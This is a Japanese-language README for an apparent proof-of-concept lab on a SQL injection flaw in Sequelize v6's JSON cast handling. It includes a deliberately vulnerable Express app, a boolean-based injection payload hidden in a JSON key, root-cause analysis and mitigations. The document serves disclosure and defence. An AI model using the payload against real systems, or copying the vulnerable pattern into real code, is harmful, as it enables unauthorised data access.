
CVE-2026-30951 — Updated!
Sequelize JSONキャストSQLインジェクション
CVE-2026-30951 Sequelize JSON Cast SQLインジェクション
★ CVE-2026-30951 Sequelize ORM SQLインジェクション PoC ★
https://github.com/user-attachments/assets/30b19211-890a-4780-acd9-04856ec98381
概要
CVE-2026-30951 は、広く使用されている Node.js ORM である Sequelize v6 における SQLインジェクション の脆弱性です。
この脆弱性は JSON/JSONB の
where句の処理に存在します。Sequelize が::を含む JSON パスキーを解析する際、::の後ろの値が SQL のキャスト型として扱われ、適切な検証なしに生成される SQL に挿入されます。攻撃者が Sequelize の
where句に渡される JSON オブジェクトのキーを制御できる場合、生成される SQL クエリを操作することが可能です。
影響を受けるバージョン
| カテゴリ | バージョン |
|---|---|
| 脆弱 | Sequelize v6.x <= 6.37.7 |
| 修正済み | Sequelize 6.37.8 |
| 影響なし | Sequelize v7 / @sequelize/core |
影響
- 攻撃者が制御する JSON オブジェクトキーを介した SQL インジェクション
- ブールベースのインジェクションによる検索フィルタのバイパス
- ORM が生成する SQL 内での意図しないクエリ条件の操作
環境
このリポジトリには、脆弱な最小構成の Node.js、Express、Sequelize、SQLite チャレンジアプリが含まれています。
ローカル実行
npm install
npm start
アプリは以下で起動します:
http://127.0.0.1:9100
Docker
docker build -t cve-2026-30951-sequelize-vuln .
docker run --rm -it -p 9100:9100 --name sequelize-vuln cve-2026-30951-sequelize-vuln
Docker コンテナは以下で起動します:
http://127.0.0.1:9100
PoC
脆弱な環境を起動した後、以下の手順に従ってインジェクションを再現します。
ステップ 1. 通常の検索リクエストを送信する
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name": "emma"
}
}
これは通常の名前検索ロジックに一致するユーザーのみを返します。
ステップ 2. ブールベースの SQL インジェクションをトリガーする
POST /api/users/search
Content-Type: application/json
{
"filter": {
"name::text) or 1=1--": "emma"
}
}
期待される結果:
All user rows are returned.
ステップ 3. SQL インジェクションが発生したことを確認する
細工された JSON キーにより、Sequelize は以下のようなキャスト式を生成します:
CAST(json_extract(`User`.`metadata`, '$.name') AS TEXT) OR 1=1--)
キャスト型が攻撃者によって制御されるため、OR 1=1 条件が意図された WHERE 句の動作を変更します。同じ検索エンドポイントから全行が返されることは、SQL インジェクションが可能であることを確認します。
分析
技術的な根本原因
この脆弱性は、Sequelize v6 における JSON キャスト型の検証不足によって引き起こされます。
内部的には、Sequelize の JSON トラバーサルロジックは JSON パスキーを :: で分割します:
jsonKey::castType
キャスト型は次のように生成される SQL で使用されます:
CAST(<json_extract_expression> AS <cast_type>)
脆弱なバージョンでは、<cast_type> は安全にエスケープされたり、既知の安全な許可リストに制限されたりしていません。これにより、攻撃者が制御する JSON キーがキャスト式から脱出し、SQL を注入することが可能になります。
危険なパターン
影響を受ける Sequelize バージョンを使用している場合、以下に類似したアプリケーションパターンは脆弱である可能性があります:
app.post('/api/users/search', async (req, res) => {
const users = await User.findAll({
where: {
metadata: req.body.filter
}
});
res.json(users);
});
これは、攻撃者が JSON の値だけでなく、JSON オブジェクトのキーも制御できるため危険です。
なぜこれが重要か
この脆弱性が特に危険なのは、多くの開発者が ORM クエリビルダーが SQL インジェクションから自動的に保護してくれると想定しているためです。このケースでは、アプリケーションが既に構造化された JavaScript オブジェクトを Sequelize に渡した後、ORM が生成する SQL の内部でインジェクションが発生します。
アプリケーションのロジックによっては、悪用により以下が可能になる場合があります:
- 意図された検索フィルタのバイパス
- ブールクエリ条件の変更
- ORM が生成する SQL の動作の変更
これは根本的に CWE-89: SQLコマンドで使用される特殊要素の不適切な中和 の問題です。
シナリオ
+-------------------------------------------+
| 攻撃者 |
+-------------------------------------------+
|
| 悪意のある name:: キーを含む
| 細工された JSON フィルタを送信
v
+-------------------------------------------+
| POST /api/users/search |
+-------------------------------------------+
|
| Sequelize の JSON where 句が
| :: を含むキーを処理
v
+-------------------------------------------+
| エスケープされていない SQL キャスト型インジェクション |
+-------------------------------------------+
|
| ブール条件の操作
v
+-------------------------------------------+
| SQL インジェクション確認済み |
+-------------------------------------------+
緩和策
- Sequelize を 6.37.8 以降 にアップグレードする
- ユーザーが制御するオブジェクトを Sequelize の JSON/JSONB
where句に直接渡さない - ORM フィルタを構築する前に、ユーザーが制御する JSON キーを拒否または正規化する
- 任意のリクエストボディオブジェクトを受け入れるのではなく、ホワイトリストベースのフィルタ構築を使用する
- 明示的に必要な場合を除き、SQL 制御構文や
::などのキャスト区切り文字を含む JSON キーを拒否する - サーバー定義のクエリフィールドを優先する。例えば:
const allowedFilters = ['name', 'role', 'team', 'office', 'department'];
if (!allowedFilters.includes(req.body.field)) {
throw new Error('Invalid filter field');
}
免責事項
このリポジトリは、セキュリティ研究、防御的検証、および制御された環境での教育目的のみを意図しています。
所有していないシステム、またはテストの明示的な許可を持たないシステムに対してこの PoC を使用しないでください。
EQST Insight
私たちは月に一度、CVE とマルウェア分析を公開しています。ご興味があれば、以下のリンクから私たちの出版物をご覧ください。
- https://www.skshieldus.com/security-insights/reports?tab=eqst
- https://www.skshieldus.com/en/report?tab=eqst